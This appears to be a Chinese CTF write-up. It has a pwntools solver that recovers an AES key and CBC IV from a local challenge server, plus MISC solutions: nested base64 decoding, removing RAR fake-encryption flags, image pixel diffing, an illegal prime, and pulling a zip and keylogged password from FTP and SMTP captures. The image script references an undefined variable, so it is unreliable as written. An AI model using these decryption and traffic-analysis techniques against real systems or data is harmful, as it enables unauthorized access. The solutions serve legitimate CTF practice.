我们发现 CBC 对应ECB 其实解密加密过程中间就只多了一个IV和明文进行异或, 并且我们发现他的这个密文是下一组里面的IV,而且key我们已经得到了, 那么我们就可以把CBC拆开来,并且第一块明文是salt我们已知, 所以只需要去对第一块进行解密, 得到的东西再和我们的salt进行异或 发现得到的就是最初始的IV, 在丢到Check当中我们就可以拿到flag

from pwn import *
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import sha256
import string

table = string.ascii_letters+string.digits
salt =  b'I_am_just_a_salt'

def pow():
    io.recvuntil("XXX+")
    XXX = io.recvuntil(")")[:-1]
    io.recvuntil("== ")
    sha = io.recvline()[:-1]
    io.recv()
    for i in table:
        for j in table:
            for k in table:
                s = (i+j+k).encode()
                if sha256(s+XXX).hexdigest() == sha.decode():
                    io.sendline(s)
                    return
def get_enc_data():
    io.recvuntil("[-]")
    io.sendline("1")
    io.recvuntil("cipher :")
    cipher = io.recv(64)
    io.recvuntil(" :")
    xorr = io.recv(16)
    return cipher,xorr

def dec(cipher,xorr):
    key = xor(salt,xorr)
    aes = AES.new(key,AES.MODE_ECB)
    flag = xor(aes.decrypt(cipher[:16]),salt)
    return flag

def get_flag(ivv):
    io.recvuntil("[-]")
    io.sendline("4")
    print(io.recv())
    io.sendline(ivv)
    io.interactive()

if __name__ == "__main__":
    io = remote("0.0.0.0",10003)
    pow()
    cipher,xorr = get_enc_data()
    ivv = dec(cipher,xorr)
    print(ivv)
    get_flag(ivv)

MISC

give_you_flag

浏览文件,发现文件内容符合Base64编码的特征。

尝试解码后发现得到的依然是Base64编码。

多次解码之后遇到Incorrect Padding,查看TraceBack后发现上次解码后得到的字符串开头存在=

image-20210712140018533

猜测将字符串倒序后解码,验证发现猜测正确。

继续手动解码或通过脚本完成。

from base64 import b64decode as bd

while True:
    fin = open("flag.txt", "rb")
    data = fin.read()
    fin.close()
    try:
        data_ = bd(data)
        data_.decode("utf-8")
    except Exception:
        data_ = bd(data[::-1])
    if "{" in data_.decode():
        print(data_.decode())
        break
    fout = open("flag.txt", "wb")
    #print(data_)
    fout.write(data_)
    fout.close()

Compressed Pictures

使用WinRAR尝试进行解压则会提示主文件头损坏。

image-20210712140513262

十六进制查看器查看,RAR4格式的压缩包中0xAh-0xBh是通用位标记。

image-20210712140541688

0xAh为例,该字节的低位与高位分别由下图中的①与②通过计算得出: $$ hex(,\sum_{i=0}^3(0,or,1)\times2^i,) $$ image-20210712140644261

因此,将0xAh80改为00即可去除主文件头的伪加密。

再进行解压,WinRAR尝试进行解压依然会提示文件头损坏。

image-20210712141331152

对文件头进行同样的修改。

文件头的加密标记在17h的位置,与主文件头类似。不过这里的字典类型单独占据了一个十六进制位,且值为C(2*6)。将C4修改为C0即可。

image-20210712141441897

解压后拿到两张相似的图片,对两张图片的每个像素进行逐一比对,输出不同的像素。

image-20210712141546338

from PIL import Image as img

p1 = img.open('flag.png').load()
p2 = img.open('hey!.png').load()
w = im1.size[0]
h = im1.size[1]

im3 = img.new(im1.mode, im1.size)
p3 = im3.load()

for i in range(w):
    cnt = 0
    for j in range(h):
        if p1[i, j] != p2[i, j]:
            p3[i, j] = (255, 255, 255)

#im3.show()
im3.save('result.png')

Strange Prime

可以在网上搜到关于Illegal prime的信息,google看到非法素数是一串数字后面全都是0最后几位里面有1并且最后1位是1的一个素数,一般来说前面是串有意义的字符,那么就截取前面部分long_to_bytes一下 :

image-20210712142035034 image-20210712142146217

得到k的值。

根据题目描述,将kc进行异或运算,并输出bytes

image-20210712142356786

Torjancap

查看协议分级,发现存在FTPSMTP流量。

image-20210712142546694

追踪FTP流量的TCP流,发现客户端与服务端通过明文传输数据。

客户端进入了/Noah/Challenges目录,并下载了Secret.zip

image-20210712142635579

image-20210712142650476

筛选FTP-DATA协议,找到传输的Secret.zip的文件流,并进行导出。(也可以使用binwalkforemost

image-20210712142730048

过滤SMTP协议,发现有一条明文传输的邮件。

image-20210712142758488

base64编码后的正文解码,可以看到输入密码后有一串记录下来的字符串:[Capital]S[Back]ASDFGHJKL;'[Return]

拿到了Secret.zip的密码:ASDFGHJKL;’

image-20210712142846478

image-20210712142902531

也可以导出IMF对象之后打开eml文件查看附件。

image-20210712143015117

image-20210712142948977

解压Secret.zip之后得到flag

ppc